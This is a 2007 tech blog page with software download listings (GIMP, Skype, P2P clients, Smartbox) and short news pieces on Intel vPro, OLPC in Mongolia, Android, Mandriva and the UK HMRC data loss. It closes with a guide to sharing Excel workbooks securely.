Requirements & Platforms:
Microsoft .NET Framework 2.0
Microsoft Windows XP with Service Pack 2 (32-Bit Edition) or
Microsoft Windows Vista (32-Bit Edition)

Minimum System Requirements Hardware:
PC with 400Mhz Processer, or higher
128 Megabytes RAM, or higher
10 Megabytes disk space (Installation)
Up to 200 Megabytes disk space (Usage)

Developer: Artificial Dynamics
License: Freeware
Last Updated: November 26th, 2007, 13:38 GMT
Download location: click here for download

BitTorrent Acceleration Patch 4.6.9

Written by IT News on 9:24 PM

An innovative plug-in for BitTorrent that boosts your download speed
BitTorrent Acceleration Patch is an innovative plug-in for BitTorrent. Architecture of the program is designed to permit you downloads of MP3s, movies and other desired files at highest speed.

Bandwidth of your Internet connection is managed as efficiently as possible and BitTorrent Acceleration Patch will help you find more sources to download.BitTorrent Acceleration Patch is a BitTorrent plug-in that allows you to download MP3s and movies.

Here are some key features:
· Automatically resumes paused downloads;
· Configuration from last run is saved and auto loads on start-up;
· Clean and free, without any adware or spyware;
· Finished and wrong files are cleaned automatically;
· Finds more sources at user-specified intervals;
· Interface is easy to use and good-looking;
· Interface is easy operable by a system tray icon.

· BitTorrent installed;
· Internet connection.

This is the free standard version of the program which can be upgraded to the feature-rich version by pressing the Buy now button.

· nag screen

Developer: Download Boosters
License: Adware
Last Updated: November 21st, 2007, 19:59 GMT
Download location: click here for download

The Gimp 2.4.2 Final

Written by IT News on 7:22 PM

The GIMP is the GNU Image Manipulation Program
Gimp is now more popular, this truly Free open source software are gradually improved and added with new feature. Gimp is free, but do not under estimate it features and capabilities, you can compare to other commercial software such as Adobe-cs.

The GIMP is a freely distributed piece of software for such tasks as image composition, photo retouching and image authoring. It works on many operating systems and languages.

GIMP is an acronym for GNU Image Manipulation Program. It is a freely distributed program for such tasks as photo retouching, image composition and image authoring.

It has many capabilities. It can be used as a simple paint program, an expert quality photo retouching program, an online batch processing system, a mass production image renderer, an image format converter, etc.

GIMP is designed to be augmented with plug-ins and extensions to do just about anything. The advanced scripting interface allows everything from the simplest task to the most complex image manipulation procedures to be easily scripted.

thw Gimp key features are:

· Full suite of painting tools including Brush, Pencil, Airbrush, Clone,
· Sub-pixel sampling for all paint tools for high quality anti-aliasing
· Extremely powerful gradient editor and blend tool
· Supports custom brushes and patterns

· Tile based memory management so image size is limited only by
available disk space
· Virtually unlimited number of images open at one time

Advanced Manipulation
· Full alpha channel support
· Layers and channels
· Multiple Undo/Redo (limited only by diskspace)
· Editable text layers
· Transformation tools including rotate, scale, shear and flip
· Selection tools including rectangle, ellipse, free, fuzzy and intelligent
· Advanced path tool doing bezier and polygonal selections.
· Transformable paths, transformable selections.
· Quickmask to paint a selection.

· A Procedural Database for calling internal GIMP functions from
external programs as in Script-fu
· Advanced scripting capabilities (Scheme, Python, Perl)
· Plug-ins which allow for the easy addition of new file formats and new
effect filters
· Over 100 plug-ins already available

· Load and save animations in a convenient frame-as-layer format
· MNG support
· Frame Navigator (in GAP, the GIMP Animation Package)
· Onion Skin (in GAP, the GIMP Animation Package)
· Bluebox (in GAP, the GIMP Animation Package)

File Handling
· File formats supported include bmp, gif, jpeg, mng, pcx, pdf, png, ps,
psd, svg, tiff, tga, xpm, and many others
· Load, display, convert, save to many file formats
· SVG path import/export

What's New in This Release:
· Further improvement to the Print plug-in
· Completed the color management functionality for 2.4
· Store JPEG setting with the image and use them when saving as JPEG
· Further improved the rectangle tools, in particular handling of the fixed aspect ratio
· Added color profile selector widget
· Further improved the display quality for zoomed-out views

License: Freeware
Last Updated: November 22nd, 2007, 08:34 GMT
Download location: click here to download

Graphic Editors

Windows Live Messenger 9.0.1407.1107

Written by IT News on 5:36 PM

The latest version of Windows Live Messenger from Microsoft
This is Windows Live Messenger version 2009 aka Windows Live Messenger 9, the latest version of Windows Live Messenger from Microsoft. WLM, right now, is in beta stage, so ONLY beta testers will be able to sign in!

Ta da! It’s the next-generation MSN Messenger. Along with everything you already love about Messenger—your contact list, emoticons, instant access to your friends—there are brilliant new ways to connect and share your photos (and other stuff). As always, Windows Live Messenger is free to download Messenger and use most of its features.

Developer: Microsoft
License: Freeware
Last Updated: November 28th, 2007, 11:26 GMT
Download location: click here to download

Written by IT News on 2:47 AM

CitrixWire is a multi-platform Gnutella client with features like auto-connect, browse host, multiple search, upload throttling, connection quality control, library management and sophisticated filtering. It is built for the both the beginner and advanced user.

CitrixWire is an excellent tool that enables you to easily trace those hard-to-find files on the Internet. It operates on the Gnutella file-sharing protocol and returns tens, hundreds, even thousands of hits in heart beat.

All you need to do is just enter your keywords or search phrase to retrieve the results, which are available for download. The friendly tabbed interface lets you monitor upload/download activity, add and remove remote hosts, and connect to remote hosts based on content, connection speed, or locale.
Here are some key features of "CitrixWire":

  • Most Powerful Version FREE: More Search Results, Faster Downloads, TURBO Acceleration, Better Download Success
  • Smart User Interface: Easy to Install & Use, Easy Searches P2P Networks, Easy Sharing
  • Search & Enjoy: Free Music Downloads, Free Movies & Videos, Free Games & Software, Free Pictures & Documents Improved Resources: optimizes computer’s performance by lowering CPU usage.
  • Faster Transfers: enhanced and more reliable downloads using new methods and technologies.
  • Faster Connections - new host support improved for multiple P2P connections on the networks.
  • Requirements: Java Runtime 1.6
  • internet connection This download is marked as adware because it displays advertisement banners or other type of commercials while running.
Developer : Citrixwire
License : Adware
Download location : click here to download

Skype / Beta

Written by IT News on 1:26 AM

Skype application uses P2P (peer-to-peer) technology to provide voice-based communication with other Internet users.

The technology is extremely advanced, but easy to use. It features excellent sound quality, end-to-end encryption, and automatic negotiation of firewalls or routers.

Here are some key features of "Skype":

· Free unlimited worldwide phone calls to other Skype users
· Superior sound quality
· Works with all firewall, NAT and routers – nothing to configure!
· Friends list shows you when your Skype friends are online and ready to talk or chat
· Super-simple and easy to use
· Your calls are encrypted “end-to-end” in order to safeguard your privacy
· Based on cutting edge peer-to-peer technology developed by the creators of Kazaa and Joltid


· Qt 4.2.1+
· D-Bus 1.0.0
· libsigc++ 2.0.2
· libasound2 1.0.12

What's New in Beta Development Release:

Skype 2.0 introduces video calls to Linux.

New features:
· Set up video call with anyone in your contact list.
· Group chat with up to 100 people or conference call with up to nine others.

Download location : click here to download
Developer : Skype Technologies
License: Freeware
Price : Free

Smartbox 1.0.rc1 has been released

Written by IT News on 12:47 AM

The main aims for SmartBOX 1.0 was to make a data-secure (e.g. emphasis on backup) easily managed file server on which other services could be added later on. For example, if groupware goes on a server (e.g. a database, email, etc), it is important that server is well backed-up. nick blundell (the author) spent a lot of time working on the remote backup feature, since he have seen many manual backup systems fall by the way side (people forget to do it, or leave tapes on site, etc.) and since most people now have broadband, it makes sense to shift some data over that every night to get it off site.

Smartbox is a completely open source easy-to-install, easy-to-manage resilient, minimal hardware specificiation, and feature rich network server (with an emphasis on ease of use) capable of:

· Windows domain control (using samba)
· History-based backup and recover system (using rsnapshot)
· Simple software RAID(mirrored discs)
· Remote peer-to-peer backup to an untrusted peer (i.e. another smartbox)
· Groupware server (e.g. wikidbase, open-xchange, opengroupware, etc.)
· Email server
· Asterisk software PBX to support a local VoIP phone system

This project, which is based on the highly stable and well supported ubuntu linux distribution, is aimed at voluntary and non-profit organisations that could do better than to pay a big wad of cash for the purchase and maintenance of conventional network servers over which they have little control (e.g. to add new users to the network themselves, recover files from the backup system, etc.).

The design of this system is entirely based upon research into the voluntary and community organisation (VCO) sector by team members of Illuminate ICT, and by the wider findings of other ICT Hub projects.

SmartBox key features:
· New: wikidbase (development version): go to port 8888 of the smartbox (e.g. http://smartbox:8888) and enter user/password: admin/wikidbase
· Windows domain controller
· Automatic logon.bat generator for auto-mounting relevant windows shares on the client.
· Historical backup system with pre-mounted backup folder for easy recovery of lost files
· Simple RAID management
· Web interface for simple configuration.
· Remote smartbox-to-smartbox backup – as this is under development, this does not yet encrypt data on the remote server, as it will do when complete.

What's New in This Release:

· Support was added for remote backup to any ssh account on a host that has rsync, not just another smartbox.
· Fixes were made for share permissions.
· The ability to set shares for guest access was added. The artwork was updated.
· The smartbox upgrade process was simplified.
· A few little bugs were fixed.

Authors : Nick blundell
official site :
License : GNU

Intel vPro technology

Written by IT News on 2:46 AM

Intel vPro is a new processor that have ability to be controlled remotely. Intel vPro processor technology helps you increase the proportion of issues you can take care of remotely.

Intel® vPro™ processor technology introduces layers of hardware-based security beyond what you can get from software alone, as well as manageability features that reduce the need for tedious, inefficient deskside maintenance visits for the business PC—a first for managed PCs. Intel vPro processor technology is the industry’s first solution that enables OS-absent manageability in 802.1x and Cisco NAC networks

Software-based security applications typically rely on agents installed on top of the OS to secure the PC. That makes security dependent on the OS, which can leave systems vulnerable. Intel® Active Management Technology (Intel® AMT), a component of Intel vPro processor technology, delivers robust hardware-based security that continues to work even when the OS is not

Improve your ability to troubleshoot, diagnose, and repair business PCs by providing remote-boot functionality and persistent event logs that are accessible even on crashed or powered-down PCs. Proactive alerts even make it possible for IT to know before the user of a hardware failure

Intel vPro key features are hardware based management integration. Typically most business entities support PCs using software agents that reside within the operating system for common tasks such as remote desktop, distributing software updates and enforcing security policies. Hardware based management has been available, but is limited to auto configuration using DHCP or BOOTP for dynamic IP allocation and diskless workstations, as well as Wake On LAN for remotely powering on systems.

read more at intel, wikipedia

Mongolia Starts The OLPC Program

Written by IT News on 2:20 AM

Mongolia's President, Nambaryn Enkhbayar, announced today his commitment to provide every child in his nation with a laptop connected to the internet by the end of 2010.

Wow!! First time I hear this news it was sureprissed me! I can't imagine if all country implement briliant idea just what Mr
Nambaryn Enkhbayar did.

As a first step towards this accomplishment, Nicholas Negroponte, the founding chairman of the non-profit organization, OLPC (One Laptop Per Child) and Mongolia's Minister for Foreign Affairs, agreed to start the program until January 2008 and they signed a Memorandum of Understanding in the presence of President Enkhbayar

20,000 units of the XO laptops will be provided in January, to children from 6 to 12 years of age in the most inaccessible parts of the country, and also in Ulaanbaatar, Mongolia's capital.

OLPC's aim is improving children's skills by giving them access to learning indoors and outdoors. For the nomadic populations, Internet access and digital learning almost didn't exist. Things will change, thanks to this project.

The project was supported in Mongolia by John L. Thornton and two MIT students, Enkhumunkh Zurgaanjin and Jan Jungclaus who promoted the concept and spread the word throughout the country, this summer.

From November 12, Negroponte's OLPC will start the "Give One Get One" program across the United States and Canada, when people can buy two XO laptops for $399, one for them and one for a child from a developing country, such as Mongolia.

I hope my country will be the second implementing the same thing.

Mandriva Flash 4GB!- A 3D Desktop in your pocket

Written by IT News on 1:18 AM

Mandriva Flash is a pre-installed Mandriva Linux distribution on a simple 4GB USB 2.0 Key, it claimed as the #1 linux key

Plug the key, start your Linux system everywhere, save and exchange your datas on the free space, up to 3GB!
Impress your friends with your mobile 3D desktop!

Why choose Mandriva Flash?

  • Mobile: take it everywhere and make any desktop your own!
  • Handy: everything for your office work, Internet and multimedia... on a stick!
  • Keep your personal data in your pocket!
  • Fun: spectacular 3D-accelerated desktop, only with Linux!
  • Safe: it doesn't make any changes on the host computer
  • Reliable: unmatched stability and hardware recognition
  • Fast: high data transfer rates with USB 2.0
  • Storage: up to 3GB available for user files
Content & services
  • 4GB USB flash drive designed by Dane-Elec Memory (5 year warranty!)
  • A neck strap
  • Mandriva Linux 2007 KDE 32-bit
  • Mandriva Club trial account: Silver level 1 month
  • Supplementary CD image to boot even on legacy systems
  • Mandriva web support: 1 month*
  • Automatic hardware detection**
* support include: Booting on the USB key, package selection, video card and screen configuration, printer configuration, hardware configuration, internet configuration, basic network clients configuration

**Most hardware configurations are supported. Go to or for futher information.

Core and Software
FlashPlayer - glibc 2.4 - KDE 3.5.4 - kernel 1 - Mozilla Firefox - 2.0.4 - RealPlayer

Hardware Requirements
  • CPU: all Pentium, Celeron, Athlon, Duron, Sempron processors, Intel Core Duo
  • RAM: 256MB minimum, 512MB recommended.
  • Graphic cards: NVIDIA®, ATI(TM), Intel® i8xx and i9xx.
  • Sound cards: all Sound Blaster compatible cards and AC97

Mandriva Linux 2008 released

Written by IT News on 11:14 PM

Mandriva Linux 2008 is lauched!, the product of more than than nine years of continuous innovation for desktops and enterprise servers.

In this 2008 release, Mandriva have integrated the most up-to-date versions of the major components, with the brand new GNOME 2.20 desktop, the latest stable KDE 3.5.7, Compiz Fusion 0.5.2, 2.2.1, the latest Mozilla Firefox 2.0 and Mozilla Thunderbird 2.0.

Mandriva Linux 2008 includes an all-new base system built on version of the Linux kernel, with the best hardware support ever in a Mandriva Linux release. 2008 automatically runs on a wide range of hardware configurations, automatically detected and configured out of the box by the Mandriva tools. You can download Mandriva Linux 2008 One or download Mandriva Linux 2008 Free, or buy the boxed, download or subscription Powerpack commercial edition from the Mandriva Store.

Mandriva Linux One 2008 is the best way to start using Linux. A full Linux operating system on a single CD for both new and experienced Linux users, it is fast to download and install, and also safe to try with a live mode. One is really the one CD you need!

The end of Greenphone project

Written by IT News on 11:04 PM

Trolltech Ltd, recently announce that will not continue the Greenphone project. The device launched in 2006, the first fully open handset designed for the development of open-source applications. Running on Trolltech's Qtopia platform, the device was supposed to stimulate the growth of mobile Linux, and the company is adamant that it has done just that.

As replacement of this product, Trolltech will launch or develop other portable media and mobile phone which also use open-source applications.

According to David Bailer, the manager of Trolltech's partner community, the do this is "to catalyze an ecosystem, as well as for internal use".

Bialer said the 2-year-old architecture of the Greenphone was no longer adequate, so Trolltech would like to target "more modern 3G phones." The OpenMoko Neo1973 device, which can now run a port of Qtopia, also appears to be filling much of the need for hackable Linux handsets.

Bialer claimed that demand had recently been increasing for the Greenphone, but Trolltech would try to divert that demand to OpenMoko. "We're not (discontinuing the Greenphone) because there is no demand," he said. "It is an older design and we are not the best hardware company. It's a lot of work shipping these phones all over the world, dealing with customs and cracked screens. We realized this is not our core competency."

But he confessed that, despite hopes that the Greenphone project would break even, it had lost money. This, he said, was because the company ended up using more units internally than it had anticipated. "A lot of our developers have two or three of them," he said. "We probably underestimated how many we were going to consume ourselves."

The candidate that will replace it could be the FIC Neo 1973, recently release on July 2007.

Although Trolltech has not released exact figures, it is understood that just over 1,000 Greenphones were sold, making the device relatively low-volume and therefore expensive to manufacture.

Why Google's Android OS matters

Written by IT News on 2:34 AM

Far and away the biggest news in the smartphone world recently was the announcement of Android, a new operating system and mobile device platform being put together by a group of companies led by Google. But I'm guessing some of you are wondering why this is such a big deal. There are already a bunch of smartphone operating systems; what's different about this one?

Let's see if I can explain it.

The open source advantage

Despite what you might have read, Android's significance is not going to be in providing an open platform that third-party developers can write mobile applications for. There are already quite a few of these available that you're well familiar with, like Windows Mobile, Palm OS, BlackBerry, S60, and UIQ.

Instead, Android's strength is going to come is going to come from being an open source project. That means that it will be a team effort that draws participants from all around the world. Having all these companies and individuals working on Android should make the pace of development much faster than what a single company can do.

At the same time, having a broad range of developers should result in a very rich and flexible OS with broad appeal.

A balancing act

I hope you understand now how much potential there is in Android. But reaching that potential won't be easy.

It already has one of the most important things it will need to be successful: broad industry support. Wireless service providers like Sprint and T-Mobile are on board, and so are device makers like Samsung and HTC.

But Google -- the de facto head of Open Handset Alliance -- is going to have to perform a delicate balancing act if it wants to keep this support. It is going to have to provide strong leadership while at the same time not running roughshod over the other members of the group.

There's little or no need for another operating system that's under the close control of a single company. There are a bunch of these already available, and any newcomer has to be really extraordinary to stand out from the pack. Apple can pull this off, but not everyone can.

If Google insists that Android meet its needs at the expense of all others then the Alliance will fall apart and much of the industry support that's vital for this operating system's success will fade away.

But the opposite is true, too. There have been attempts to create open source Linux-based operating systems for smartphones before, and these have generally fizzled because they lacked strong leadership. Developers working for the companies that are participating break up into committees that try to come up with compromises to satisfy all the disparate needs, and in the end mostly what's produced is reams of reports and darn few results.

Google is going to have to find a way for the OHA to make tough calls in which some companies will get what they want and other won't, without having the whole house of cards come crashing down. That's the strong leadership I'm talking about.

I think it can do it for one simple reason: Google doesn't want to develops and sells smartphones, it just wants to sell advertising space on them. That gives the company a strong incentive to succeed in getting Android-based models on the market, without requiring very much of the project to be focused on Google. There's plenty of room for others to make money from other facets of the device.

Something to hope for

I give Google credit for thinking outside the box. It could have come out with its own Linux-based smartphone operating system without putting together a group of partners to help develop it. Almost anything is possible when you have access to the kind of money Google does.

But the company seems to have decided that it wasn't going to beat Windows Mobile by out-Microsofting Microsoft. That never works. Google is taking a different route. Instead of being a lone developer, Google is going to be the leader of a diverse team.

And because it's doing so, Android currently enjoys a broad developer base and industry support, and it has the potential to be a serious competitor to the heavyweights in the smartphone realm. Not just Windows Mobile, but all the rest too, from BlackBerry to Symbian/S60.

As a general rule, more competition is better, especially when the new competitor is coming out of the gate as strong as Android is. And strong competition leads to better products, which is good for us consumers. So you'll benefit even if you never buy a device from the Open Handset Alliance.

But this only applies if Android lives up to its potential. Here's hoping it does

Missing in the UK: Discs with 25 million records

Written by IT News on 2:25 AM

This news should be unsettling to every family in the UK with kids under 16: The BBC is reporting that two computer discs housing their names, addresses, birth dates, National Insurance numbers and, in some cases, bank details has gone missing.

Chancellor Alistair Darling urged calm, saying there’s no evidence the 25 million affected records are being used for identity fraud. But he did caution people to keep an eye on their bank accounts. He apologized for an “extremely serious failure on the part of HMRC to protect sensitive personal data entrusted to it in breach of its own guidelines.”

The Conservatives decried the disc loss as a “catastrophic” failure.

As serious as this is, it may be a bit on the hyperbolic side to call this a catastrophe. At an (ISC)2 security conference in Quincy, Mass., last week, Seth Berman, managing director and deputy general counsel at Stroz Friedberg LLC, a consulting and technical services firm specializing in such things as computer forensics, cyber-crime response and private investigations, noted how some companies rush to declare a data breach when discs go missing, only to find the discs safe and sound after money has been spent responding to the incident.

In most cases, he said, missing discs stay out of the hands of the bad guys. But he also noted that it’s best for organizations to avoid the appearance of a breach in the first place by making sue all discs are encrypted.

Sharing Excel files safely

Written by IT News on 10:20 PM

Sharing an Excel documents is easy. Probably a lot of people don't realize it, but Microsoft built Office 2003 and Office 2007 with collaboration in mind. Both versions allow you to share an Excel workbook with other users so multiple users can make modifications to a spreadsheet. In this article, will show you how to share an Excel 2007 workbook. More importantly, It will discuss how you can keep a shared workbook secure.

Before you start sharing a workbook, the first thing you have to do is protect the spreadsheet you've created. It is very important to lock the cells so that other users are not able to modify them without your permission.

You can protect a range of cells by selecting them, right clicking on them and selecting the Format Cells command from the resulting shortcut menu. When you do, Windows will display the Custom Lists properties sheet. Go to the Protection tab and either lock or unlock the protected cells. Keep in mind that locking a cell has no effect until you protect the sheet.

To protect a worksheet, click on the Review menu and then click the Protect Sheet icon. When you do, Windows will display the Protect Sheet dialog box.

Verify that the Protect Worksheet and Contents of Locked Cells check box is selected. Then enter a password to use in order to unprotect the sheet. Keep in mind that this password is worksheet specific.

Before you click OK, read through the other protection options on this dialog box. You can control what users will and will not be allowed to do to the spreadsheet just by selecting a check box. By default, users are allowed to select both locked and unlocked cells in a protected spreadsheet, but that's about it. It is up to you to decide whether you want to allow your users to format or create or delete cells, rows or columns. You can also authorize or forbid various other types of edits.

Now that you have implemented some basic protection, it's time to share the workbook. To do so, go to Excel's Review menu and click the Share Workbook icon. Excel will display the Share Workbook dialog box. To share the workbook, select the Allow Changes by More Than One User at a Time check box, found on the Editing tab, as shown in Figure A.

Figure A

To share the workbook, select the Allow Changes by More Than One User at a Time check box.

Before you click the OK key, go to the Advanced tab, shown in Figure B. As you can see in the figure, the Advanced tab asks you if you want to track changes to the file. If security is a concern to you, then I highly recommend tracking changes to the file. By doing so, you create an audit trail that allows you to see exactly what modifications were made by whom.

Figure B
The Advanced tab contains settings related to tracking document changes.

The next section is the Update Changes section. By default, updates occur when the file is saved, but you can configure changes to be updated on a periodic basis.

The fact that multiple users can work on the document simultaneously means that there is a potential for conflicts to occur. Two users could potentially save contradictory changes at the same time. As such, Excel makes you decide what should happen when contradictory changes occur. By default, Excel will ask you which change should be kept, but you have the option of configuring Excel so that the most recently saved change is authoritative. From a security perspective, I recommend going with the default setting because then you can decide for yourself which change to keep and which to discard.

The last section shown in Figure B is the Include in Personal View section. By default, each user is allowed to maintain his own separate printer settings and filtered view settings. This isn't usually a threat to security since a user cannot change another user's print settings or filter settings. Therefore, I recommend going with the default settings in this section.

Click OK, and the worksheet will be shared. Keep in mind, though, that you have only granted document-level sharing. It is still up to you to place the shared worksheet into a network location where it will be accessible to all of the necessary users. I strongly recommend setting some NTFS permissions so that only the intended users are allowed to access the document.

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